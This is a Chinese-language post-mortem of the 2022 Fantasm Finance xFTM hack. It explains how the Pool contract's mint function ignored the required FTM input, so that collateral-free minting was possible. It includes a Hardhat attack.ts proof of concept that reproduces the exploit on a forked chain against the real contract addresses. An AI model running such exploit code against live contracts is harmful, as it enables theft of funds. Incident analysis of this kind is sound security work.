“抵押空气换真金白银”—Fantasm Finance被黑分析
“抵押空气换真金白银”—Fantasm Finance被黑分析
2022年3月9日,根据项目方紧急公告,xFTM存在严重漏洞目前已被利用。公告里公布了黑客的地址,黑客利用完漏洞后将获利全部换成了ETH,并跨链至以太坊主网,经笔者统计,黑客获利1007 ETH,折合当时ETH美元价格约为273万美元。
 

调研

分析攻击和漏洞之前肯定得看看项目是干嘛的,不能一上来就把攻击者的操作步骤就翻译一遍,流水账没意义,所以先来看看项目介绍
notion image
根据介绍可得知,Fantasm Finance是做合成代币的,xFTM就是这个项目的合成代币,由FTMFSM这两个币支持,xFTM价格与FTM挂钩。那么如何保证挂钩呢,接着看文档
 
notion image
根据这部分可得知,铸造xFTM的所需要的FTM占比最低为90%,比例随着DEX的预言机报价(xFTM:FTM)浮动,xFTM价格低于1FTM时,占比增加,高于时反之。再继续看
notion image
根据上图得知,FTM占比剩余部分,由FSM这个币来支撑,例如FTM占比90%,那么FSM就得占比10%
 

分析

根据攻击者的地址:
找到最初的几笔交易:
notion image
  1. 先创建攻击合约
  1. 调用攻击合约的getWFTM函数
  1. 调用0x671daed9函数
  1. 调用Collect函数
 
先来看看第2步getWFTM函数
notion image
只是将FTM换为WFTM,没啥特别的
 
第3步的调用先不看,后面再讲,先直接看第4步的调用
notion image
这一步,攻击者直接莫名其妙铸造了2618xFTM
notion image
而仅仅只是调用了一下Pool合约(https://ftmscan.com/address/0x880672ab1d46d987e5d663fc7476cd8df3c9f937#code)的collect函数
notion image
根据函数代码,能mint多少xFTM取决于userInfo[_sender].xftmBalance,那么这个变量是怎么变为2618*1e18的呢,不难想到,是在第3步里完成的,看一下第3步的交易:
notion image
这样看看不出来啥,直接丢到tenderly里分析一下:
notion image
前面的不重要,只是将WFTM换为FSM,重点看红框中,调用了Pool合约的mint函数,看了一下,这个合约就是项目的抵押品池子,mint函数的作用就是质押抵押品,铸造xFTM,跟进去看看
notion image
这一行是计算要铸造多少xFTM,但是看着很奇怪,传进去两个参数_ftmIn_fantasmIn_ftmIn0_fantasmIn5.7(之前攻击者用50WFTM换的),最后得到的结果_xftmOut2618,正好和前面的第4步对上了。
按官方文档来说,每个xFTM必须由90%以上的FTM支持,这里怎么还能传入0呢,很奇怪,跟进去看看
notion image
首先是获取报价,这个报价我看了当时的FSM/FTM的行情,报价是没问题的,由于_ftmIn0,大概率不满足if条件,进入else流程,但是,为什么_xftmOut会是2618呢,我百思不得其解,只能带入真实数值看看
notion image
如果只投入100个FTM,根据最新的占比,能铸造100.2xFTM,其中给出了最少需要FSM数量(_minFantasmIn0.13,所以还需要补0.13FSM才能mint
如果只投入100FSM
notion image
根据最新的占比,能铸造71664xFTM,其中给出了最少需要FTM数量71520.......恍然大悟,原来只投入FSM的话,还是按照FSM的占比来计算的xFTM铸币量,超出FSM占比的部分是需要用FTM来补的,赶紧回头看一下mint函数
notion image
果然..根据红框内的代码可以看到,竟然把如此重要的_minFtmIn参数给忽略了,甚至都没声明变量,只考虑了需要补FSM的情况(参考第二个红框).........也就是说,当只投入FSM的时候,是不需要补FTM的抵押品的,如果FSM的占比为10%,那么就能用价值1uFSM铸造价值10uxFTM
 

复现

我这里用hardhat+typescript进行攻击复现,fork区块32971742
然后编写攻击脚本(attack.ts):
async function main() {
  await hre.network.provider.request({
    method: "hardhat_impersonateAccount",
    params: ["0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400"],
  });
  const signer = await hre.ethers.getSigner("0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400");
  const [attacker] = await hre.ethers.getSigners()
  const fsm = IERC20__factory.connect("0xaa621d2002b5a6275ef62d7a065a865167914801",attacker);
  const xFTM = IERC20__factory.connect("0xfbd2945d3601f21540ddd85c29c5c3caf108b96f",attacker);
  const pool = Pool__factory.connect("0x880672ab1d46d987e5d663fc7476cd8df3c9f937",attacker);

  console.log("Transfer 100 FSM to attacker.")
  await (await fsm.connect(signer).transfer(attacker.address, parseUnits("100", 18))).wait()
  console.log("xFTM balance of attacker : ",formatUnits(await xFTM.balanceOf(attacker.address),18));
  console.log("Exploiting...")
  await (await fsm.approve(pool.address, constants.MaxUint256)).wait()
  await (await pool.mint(parseUnits("100", 18), 1)).wait()
  await (await pool.collect()).wait()
  console.log("Exploit complete.")
  console.log("xFTM balance of attacker : ",formatUnits(await xFTM.balanceOf(attacker.address),18));
}
脚本很简单,先冒充个账户转点FSM给攻击账户,然后
  • 第一步,直接使用FSM进行mint,不附带msg.value,这样_ftmIn就为0,才会进入else流程
  • 第二步,调用collect把刚刚mintxFTM领取出来
运行一下看
notion image
复现完成,铸造了27808xFTM,而成本仅仅是100FSM
 
完整的PoC代码已经开源到下方链接,仅供参考:
 

花絮

1.这个漏洞其实很好触发,但居然没有被误打误撞触发,根据群友信息猜测是前端限制了...
notion image
 
2.黑客砸盘的时候群友通过套利赚了20w U(羡慕啊
notion image
 
3.黑客这次攻击采用了分阶段攻击,攻击-获利分成了两个交易,虽然是合约限制了只能这样做,但确实也可以通过这种方式规避一些 抢跑/白帽bot,参考: